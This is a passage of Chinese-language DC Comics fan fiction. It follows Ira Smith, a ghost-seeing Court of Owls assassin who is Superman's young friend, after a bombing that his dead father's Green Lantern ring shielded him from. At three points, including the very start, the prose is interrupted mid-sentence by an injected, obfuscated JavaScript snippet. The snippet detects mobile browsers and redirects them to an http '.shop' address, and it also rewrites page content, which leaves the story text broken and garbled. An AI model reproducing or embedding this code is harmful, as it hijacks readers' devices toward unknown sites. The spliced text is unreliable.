;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185002|196994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌子,而且他其实并没有那么缺少颜料,他的家里最多的就是各种油画颜料,但既然这是超人给他的礼物,他就双手接过了颜料盒:“太感谢您了,超人先生!这是我收到的最好的礼物!” 这当然不是真的,但真假并不重要,重要的是他这样说会让超人感觉到心情愉快,这是他唯一能做的。事实也正是如此,在听到伊拉这么说之后超人笑了起来,他的眼睛带着切实的,愉快的光芒,似乎之前瞬间的阴霾都随之消失不见了一般。但那也只是一瞬间的事情,他轻轻拍了拍伊拉的肩膀,然后飞出了房间。 伊拉低头看向颜料,熟悉的声音又一次在他的耳边回荡,那个声音催促着伊拉作画。于是伊拉将红色的颜料挤在了自己的掌心,向着办公室的白色打印纸涂抹,白纸很快就被涂抹得不像样子,而伊拉的目光也终于完全聚焦,他看着自己画出了一颗心脏。 被掏出的,被捏在红色的手中的,下一秒就会破碎的心脏。 伊拉听到了砰砰的,心跳的声音。 然而超人已经飞走了。 伊拉骑着自行车行走在大都会的道路上,他可以看到无数虚幻的人影伫立在街道的两边,对他而言,这是非常少见的,硬是要说的话,他只在远远望着哥谭的时候看到过类似的情形。死者行走在街道上,死者逡巡在街道上,他们在等待着什么,只是伊拉并不知道他们在等待的到底是什么。 伊拉回到家里,他的妈妈,莉莉丝还在地下室忙碌,蕾切尔用着嘲笑一般的眼神看着伊拉,然后伸了个懒腰。硬要说的话,伊拉很少见到蕾切尔那样靠近自己,于是伊拉对着蕾切尔伸出手,蕾切尔没有拒绝伊拉的接触,也没有像是过去那样龇牙,准备随时咬穿伊拉的手指,蕾切尔只是在笑,并等待着伊拉的手抚摸自己。 蕾切尔摸起来并不像是猫咪,一定要说的话,抚摸蕾切尔的感觉就像是抓起一把潮湿的泥土,然后蕾切尔呼噜着,等伊拉摸够了之后才从他的身边离开。伊拉抬起手,看到自己的手掌已经因为抚摸蕾切尔开始出血,这也是妈妈一直不让伊拉和蕾切尔太过于靠近的理由,蕾切尔并不是普通的猫咪,随意接触可能会让伊拉手上。 看到伊拉手上的伤口之时,蕾切尔发出更加愉快的呼噜声,她伸出舌头贪婪地舔舐着伊拉手上的鲜血,伊拉看着蕾切尔,在蕾切尔终于停下舔舐之后,他才离开了玄关,去盥洗室洗手。 蕾切尔的眼睛看着伊拉,她开始舔自己的肉垫。 她躁动不安。 超人正在寻找着露易丝的踪迹,他听不到露易丝的心跳了,这是很少见的情况,他几乎被无力的感觉逼疯。在离开大都会高中之后不久,他在哥谭与大都会的交界处的一幢废弃建筑物里看到了吉米的尸体,他强忍着悲痛将这件事告诉了蝙蝠侠,蝙蝠侠和他一样惊讶。 不过他们会找到露易丝的。 他会找到露易丝的。 5. 直到大厦崩塌 “等会儿我说开始,你们就开始说祝福的话好嘛?啊,这里再确认一遍,祝福是要给我的孩子伊拉的,伊拉·萨麦尔·史密斯,这是他的16岁生日,我不想错过……” “布鲁斯·韦恩拒绝了我们的合作要求,或许他认为自己豢养的蝙蝠怪物足以挑战猫头鹰法庭的秩序,但在我看来他做了愚不可及的事情。我们必须要向这个胆敢冒犯猫头鹰法庭的愚者降下惩罚,他会明白,迄今为止他还能带着他那颗蠢脑袋呼吸,完全是因为猫头鹰法庭的仁慈,我们会让他流血!” “哎,得了吧绿灯小子,你少说几句吧!光是今天这些话你就说了十遍了,难道你不说我们会把你的儿子认成女儿不成?” “当然,当然了,这将会是理查德第一次执行任务,他是个棒小伙,不是吗?威廉,你应该清楚我们为什么会那么重视理查德,因为他是你的孙子,这代表他在未来会成为猫头鹰出色的爪牙。怎么,你对法庭做出的决定有什么不满?还是你认为理查德不配得到那么多的优待?” “如果你要问我的意见的话,莱德,我觉得你不能因为萨麦尔是一个比你更称职的父亲就对他大喊大叫,无意冒犯。哦,对了,萨麦尔,这是我给伊拉准备的生日礼物,一颗花种子。别担心,这是在宇宙中数一数二级别的,好种的花,只要有水,哪怕你把它种在核废料堆里也能开花。你知道最棒的是什么吗?是这种植物不会在地球上繁殖,因此不会造成生物入侵一类的问题。” “他当然可以带一个助手,这是猫头鹰的仁慈,我也知道你打算让谁跟着理查德一起,应该是叫‘伊拉’吧?素质确实优秀,但可惜他只是个孤儿,没有一个好的祖父。” “萨麦尔!听说你的孩子马上就要过生日了,这是我提前为他准备的礼物哦!是能够源源不断倒出清水的水壶!嗯……虽然好像每天只有十升左右啦……啊,使用的时候一定要小心,因为这个水壶是魔法水壶,打翻它会让它失去魔力。当然啦,这也是一种保险,毕竟要是水真的源源不断,世界都会被淹没了,对吧?啊,这个水超好喝的哦!” “啊,没错,伊拉用的改造技术不同,没办法,他的身份太干净了,除了当一个杀手之外还能派上更多用场。我们的确是让他协助理查德的,但要是你想趁这个机会损毁这个珍贵的素材的话……” “看起来我们笨手笨脚的莱德还没有做好准备,史密斯,请允许我先一步为了你的孩子献上最诚挚的祝福,希望你可以允许。” “当然,当然,别那么紧张——不管怎么说,未来理查德才是最有可能继承你的利爪,不是吗?我也只是开玩笑,你不可能是那种为了争权夺利不识大体的家伙,威廉,我可是那么信任你啊。” “去你的,谁笨手笨脚了?我警告你啊,绿灯小子最先找到的人是我,也就是说,我才是第一个给绿灯小子的儿子说生日快乐的人,喂,绿灯小子,老子没问题了,快开始吧!” “那就去解冻吧,这么简单的东西难道还得我一遍遍重复?去解冻,然后让他们去杀死蝙蝠侠!没错,那家伙是怪物,但我们的利爪也不是什么吃素的!” “非常感谢,莱德,你永远是最忠实的朋友——那么,3,2,1,开始!” “关于蝙蝠侠的情报吗?能说的东西其实不多,毕竟没人知道他是什么时候出现在这个世界上的,也不知道他来到哥谭是为了什么……只知道他和那个韦恩家的小子关系匪浅。” “地球上的,名字是伊拉·史密斯的小鬼,你好啊,老……我是你爹的同事,来自法罗兰星的莱德,听说你过生日,那我就祝你生日快乐好了。总之,好好吃好好睡,快点长大,等你爹到家之后帮我给他两拳,太烦了这个人。哦,对了,我给你的礼物是沙虫味的生日蛋糕,虽然不知道一般人吃不吃这个,但反正你爹爱吃。要是少了就说明他路上偷吃,揍他!” “如果不是因为韦恩家的那小子突然决定开始管理韦恩集团的事务,还开除了一大批公司的骨干,法庭本打算让他平安度过余生的……不过现在看来,他大概只能感叹自己运气不好,生不逢时了吧。这就是对他勾结蝙蝠侠,违背猫头鹰法庭意志的惩罚。” “伊拉·史密斯先生,生日快乐,愿诸神的祝福永远环绕着你,愿你此生平安喜乐。” “伊拉……就是这个冷冻仓,那么开始解冻吧。” “生日快乐,伊拉,为你献上最诚挚的祝福。很抱歉,我的星球拿不出什么有趣的特产,这是我们星球唯一的特产,黄金。我请匠人打造了一个面具,如果不介意的话,只要拿它作为玩具就行了,毕竟也不是什么不得了的东西,但如果你能喜欢就太好了。如果有朝一日,你能来到宇宙的话……” “这群废物……脑子里想的还是争权夺利这回事,到现在都不知道蝙蝠侠究竟是多么强大的敌人,还以为两个还未成年的利爪就可以击败那个怪物……” “呀吼伊拉~不知道你本人是不是和照片上一样的可爱呢?我是萨麦尔的战友哦~我跟你说啊,你爸爸超——极小气的,说什么‘伊拉的年纪还太小了,不适合进行宇宙旅行’,真遗憾啊……嗯,不过等你长大了,他就用不了这个理由了,对吧?到那时候,记得就算是装哭也要让史密斯带你来我们2768扇区哦?我带你去看星云!” 伊拉缓缓睁开了眼睛。 他的全身还带着冰封过后留下的僵硬,但现在更多的还是疼痛,班上的同学的脸上带着泪水,在确定伊拉已经醒来的时候,哭泣则变为了笑容:“太好了,伊拉,你还活着……怎么样,还能动吗?身上有什么地方痛?这里不安全,我带你一起去医务室,那里有床,受伤的同学都在那里。” 伊拉点了点头,他被那个同学扶着站了起来,手中的灯戒散发出莹莹绿光。 光芒照耀在他的脸上,在昏暗的灯光下,利爪的教官,最强的利爪威廉正注视着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185003|196994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他和理查德,理查德的脸上还带着有些像是无所谓的笑容,只是他依旧轻轻抓着伊拉的手臂:“所以,我终于要和伊拉一起执行任务了吗?是窃取机密?还是杀人?” “你需要去除掉蝙蝠侠,”威廉说,他的眼神之中似乎还带着微妙的挑剔,伊拉可以看出这种挑剔或许是针对自己的,“伊拉,你的任务是协助理查德。无论是进攻还是撤退,我想你应该明白你要做些什么。” “我明白,”伊拉轻声说,或许是因为很久没有说话,他的声音也有些嘶哑,“我会保护好的,这是我的责任,也是我唯一能做的事情……” 于是威廉点了点头。 “这不是你的责任,孩子,只是因为现在可以暂时使用这枚灯戒的人只有你,”老师伸手摸了摸伊拉的头,在他的眼中充满了痛心和悲悯,从窗户看出去,能够毫无疑问地看到巨大的绿光屏障将半个教学楼笼罩在内,另外半个则已然坍圮,化为废墟,“放心吧,你只要继续维持屏障,我们都会照顾好你的。而且马上,马上正义联盟就会来的。” 伊拉沉默地看着老师,他可以感觉到老师的手也冷得吓人,仿佛刚被从冰棺之中放出的不是他而是老师。然后他在老师的背后看到了露易丝,露易丝·莱恩,现在的话则是露易丝·肯特,她站在不远处,脸上满是悲哀。伊拉可以看到露易丝的胸口完全被鲜血浸润,这一切会令他想到母亲的画作。 啊,原来如此,他想,如果连莱恩女士都已经去世,那现在的大都会一定已经变成一片血海了吧。 这么想着,他低头看着自己手上的戒指——绿灯侠的灯戒。 灯戒的戒圈比他的手指要大不止一圈,在他的大拇指上才可以勉强套紧,不过这也是理所当然的,这枚戒指本就不属于他,戒指属于他的父亲。 在爆炸发生的瞬间,父亲用戒指撑开了巨大的绿色屏障,将爆炸的冲击波和温度完全阻隔在外,同样被隔绝的或许还有辐射,因为学校实验室里的盖革计数器在接触到屏障以外时确实也发出了明确的响声。发生爆炸的应该是什么核武器,也正是这样的武器能够带来摧枯拉朽的破坏。 但与此同时,伊拉也松了口气。 他在书上看到过,目前人类使用的一切核武器的实际效果并没有电影或者游戏里展现得那么可怕,如果学校被摧毁,那么和学校完全在相反方向的美术馆应当安然无恙……至少建筑物不会被摧毁。这样的话,只要救援及时到来,莉莉丝会没事的,而证据就是,伊拉想,他直到现在都还没有看到莉莉丝。 伊拉将手覆盖在戒指上,绿灯的光线并未被他的手指阻隔,无数细小的光线像是蛛网一般散布出去,他迟钝地想着自己的父亲已经去世了,他的父亲,为了更快撑开屏障,选择了牺牲自己,将身体和灵魂融入到了这枚灯戒之中。 他感到干渴,不过幸好他还有父亲的朋友送来的礼物。 大家都会没事的,或许。 6. 布鲁斯·韦恩 伊拉很快就从老师的口中旁敲侧击地知道了学校目前的状况。 绿灯的屏障确实不算太小,姑且还是完全笼罩了一整幢教学楼,然而在爆炸发生的时候许多班级都已经下课,学生们更喜欢离开教学楼去玩耍。可以说,只有伊拉所在的球队和班级为了庆祝伊拉的生日留在了班上,因此活下来的人只有六十来个,包括了七个老师。这样的数量并不算多,甚至一个医务室可以完全装下。 不过目前为止这算是一种幸运,伊拉听到有人在小声地说着“幸亏留下来为伊拉庆祝生日了,不然我们也会被炸死吧”或者诸如此类的话。其实伊拉并不觉得他们应该感谢自己,但伊拉的思维本身也变得有些模糊和混乱,他看着大拇指上的戒指,绿光甚至会令人感到有些可怖。 “要吃点蛋糕吗?”然后老师问伊拉,“已经好几个小时了,你什么东西都没吃……我理解你的痛苦,但一直这样下去你的身体会先受不了的……我想,你的父亲一定也不希望你变成这样。” 伊拉注视着老师诚挚的眼神,他张了张嘴,然而什么都没有说出来,他只能微微颔首。是的,老师说的没错,要是什么都不吃,是不可能坚持到正义联盟的人前来救援的,于是他拿起了叉子。 蛋糕里的草莓酱就像是血一样流淌下来,在他切开蛋糕的瞬间映照出了他的面容。 教学楼里并没有留下什么吃的,这同样属于一种理所当然,大部分人在上学的时候最多准备一些零食,蛋糕是目前最重要的食物来源。大部分的蛋糕都已经被瓜分了,毕竟正义联盟的救援或许很快就会到来,而在救援到来之前,最重要的是维持住体能和心情。甜味的东西能够令人心情舒缓,也可以安慰那些正在啜泣和悲鸣的孩子们。 伊拉同样将甜味的奶油送进嘴里,他觉得自己像是在吃蜡和虫子的尸体混合的东西,利爪的食物从某种角度来说确实也算不上好,他们不需要进食就能活着,吃东西主要还是为了有更多的能量进行战斗。他转头看向理查德,他的搭档,威廉的孙子,和他同样年轻的利爪对着他挤了挤眼睛,做出了一个有些开心的表情。 伊拉对着理查德眨了眨眼,然后将视线转向了自己的同学们,他可以听到安慰和哭泣的声音,无数嘈杂的声音充斥着伊拉的耳朵。在某一瞬间伊拉感觉到了烦躁,因为哭泣是无用的,安慰也是无用的,无论再怎么哭泣,生死这件事本身都无法发生改变,但他知道自己必须同情,必须悲悯,就像是超人一样。 超人,伊拉想,但超人的妻子,莱恩女士已经去世了,超人一定会为此感到悲伤吧。 等到从废墟当中被超人拯救出来的时候,要不要给超人一个拥抱呢?即使拥抱是无用的,安慰是无用的,一切都是无用的,但或许至少能带来些许的温暖吧。 如果可以的话,是不是一切都会变好呢? 他坐在了医务室的病床上休息,理查德亲密地靠在他的身边,和他一起翻阅猫头鹰法庭送来的,关于“蝙蝠侠”的资料。伊拉知道蝙蝠侠是布鲁斯·韦恩,哥谭的鬼魂为他展示过很多东西,但这份关于蝙蝠侠的资料却和伊拉的一切认知截然相反。情报上说蝙蝠侠是一个强大的超能力者,突然出现在哥谭,似乎在为布鲁斯·韦恩工作,是一个疯狂而诡异的家伙。 伊拉很努力的不展现出自己的困惑,然后他问理查德:“上面给我们布鲁斯·韦恩的资料吗?” “我不明白你要知道韦恩那家伙的情报干什么,”理查德说,他撑着栏杆跳起来,单脚站在栏杆上,看起来摇摇欲坠,但实际上像是站在栖木上的鸟儿一样稳当,“你觉得我们在杀掉蝙蝠侠的时候韦恩会出来阻止我们吗?” “……或许?”伊拉轻声说,他其实想说点关于准备就绪之后刺杀蝙蝠侠的成功率会更高一类的话,但他并不想杀蝙蝠侠。伊拉讨厌,或者说,他恐惧着哥谭,然而这和他对蝙蝠侠的观点没有任何关系,蝙蝠侠是哥谭的英雄,至少这一点毋庸置疑,而伊拉不想成为英雄的对立面。 理查德歪着头看向伊拉,这样的动作会让伊拉想到穴小鸮或者诸如此类的动物,在一阵沉默之后,理查德跳下了栏杆,然后说:“好吧,我想你说的肯定有道理,说不定其实韦恩掌握着蝙蝠侠的弱点或者别的什么,毕竟韦恩是蝙蝠侠的金主——哦,对,我忘了你一直都在冰棺里,可能不清楚金主是什么意思。嗯……总之就像是我们在被大法官饲养一样,蝙蝠侠在被韦恩饲养。” 伊拉其实知道金主是什么意思,不过他不应该知道,因此他只能一言不发。 见状,理查德露出了一个微笑,他一边喊着威廉一边向外走去,只留下伊拉继续看着猫头鹰法庭送来的资料。 报纸上说,蝙蝠侠是在哥谭的夜间出现的,漆黑的怪物,它存在于此,将哥谭拖入恐惧的梦魇之中。在少有的几张照片里,蝙蝠侠戴着全包式头套,对于正常的人类而言,这样的头套会让他窒息,但蝙蝠侠却仿佛丝毫没有遭受头套的影响。许多人充满恐惧地说它是恶魔的化身,而这也是伊拉所见的。 “我想或许是因为大都会受到的损伤太严重了吧,”另一个同学说,按照平时的效率,正义联盟应该早就出现了,“蝙蝠侠大概在思考应该怎么才能更好地清理废墟,或者他们发现我们在屏障下面暂时没有生命危险,所以先去救其他处于危险当中的人了——或许是先去救援我们的爸爸妈妈了呢?” “是啊,”在不远处,还有一位同学附和了,“正义联盟和那些说着救灾,其实只是拍照片的家伙不一样,他们一定会来救我们的,我们需要做的是冷静,不给正义联盟添乱。” 伊拉也像是所有人一样点了点头,啊,没错,事情一定是这样的。 他看着医务室里的鬼魂,鬼魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185004|196994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层层叠叠地挤压在一起,仿佛医务室变成了坟场,他看到焦黑的躯壳,粉碎的骨头,他几乎错觉自己可以嗅到令人作呕的恶臭,不过那也只是错觉而已。鬼魂围绕在伊拉的身边,从他们的眼眶中流淌出了泪水。 “小丑杀了我们,”鬼魂说,“伊拉,小丑和小丑女杀了我们。” 鬼魂对着伊拉伸出了手,伊拉也伸出手。 他从理查德的手里接过了布鲁斯·韦恩的资料,理查德笑得得意洋洋,他说:“本来那些家伙还不打算给我,但是威廉说了解蝙蝠侠就得了解韦恩,这是很好的切入口,所以他们就把资料给我了。不过我很怀疑你到底能不能从这些资料里看出什么,法庭的家伙应该早就把这些东西翻烂了。” “我也不知道,”伊拉轻声地说,“但是多看些总是好的吧?哎,希望我这句话不是在讨人厌……” “谁会讨厌你啊,伊拉?”理查德笑着勾住伊拉的脖子,这是一个非常危险的动作,因为理查德可以凭借这样的动作轻松拧断伊拉的脖子,但伊拉并未对此表现出异议,他只是安静地坐在椅子上,仿佛理查德只是一个普通的朋友,而这个动作也只是在表示友好。当然,事实确实如此,理查德并不想杀死伊拉,理查德只是继续凑到伊拉的身边。 他不觉得伊拉能从这份资料里看出什么,因为布鲁斯·韦恩根本就不是什么喜欢将自己暴露在他人视线中的家伙。 猫头鹰法庭可以调查出布鲁斯·韦恩在八岁的时候父母双亡,其他人自然也可以,而在那一次导致布鲁斯成为孤儿的事故之后,他就几乎再也没有踏出过家门,将日常起居全部交给了管家阿尔弗雷德管理,而公司几乎也被交给了董事会。如果不是因为卢修斯姑且对他忠心耿耿,而布鲁斯的死不会对董事会有什么好的影响,这位韦恩家的遗孤也很难说能不能保住自己的性命。 但除此之外,猫头鹰法庭也几乎对布鲁斯·韦恩一无所知。 当然,因为父母的死亡,他将自己和韦恩庄园一同封闭了起来,他没有在任何一所学校进行过系统性的学习,也没有任何娱乐,甚至没有和阿尔弗雷德或者卢修斯以外的人进行过交流。而就算是监控了卢修斯的电话和邮箱,能够获得的消息也同样有限,布鲁斯几乎从未反对过卢修斯的任何建议,似乎他只要有公司的分红,能活下去就足够了。 这并不是什么无懈可击,而是空无一物。 伊拉翻看着这些资料,他感到惊讶,不过姑且没有到无所适从的地步,他还是第一次接触猫头鹰法庭之外的这个世界。在这个世界也有布鲁斯·韦恩和蝙蝠侠,不过无论是布鲁斯·韦恩还是蝙蝠侠,都和他更熟悉的那个截然不同。伊拉尚且无法评判这份不同究竟是好事还是坏事,他只是深深地吸了口气,地下潮湿而寒冷的空气进入了他的鼻腔。 他仿佛可以闻到鲜血弥漫开来的气味。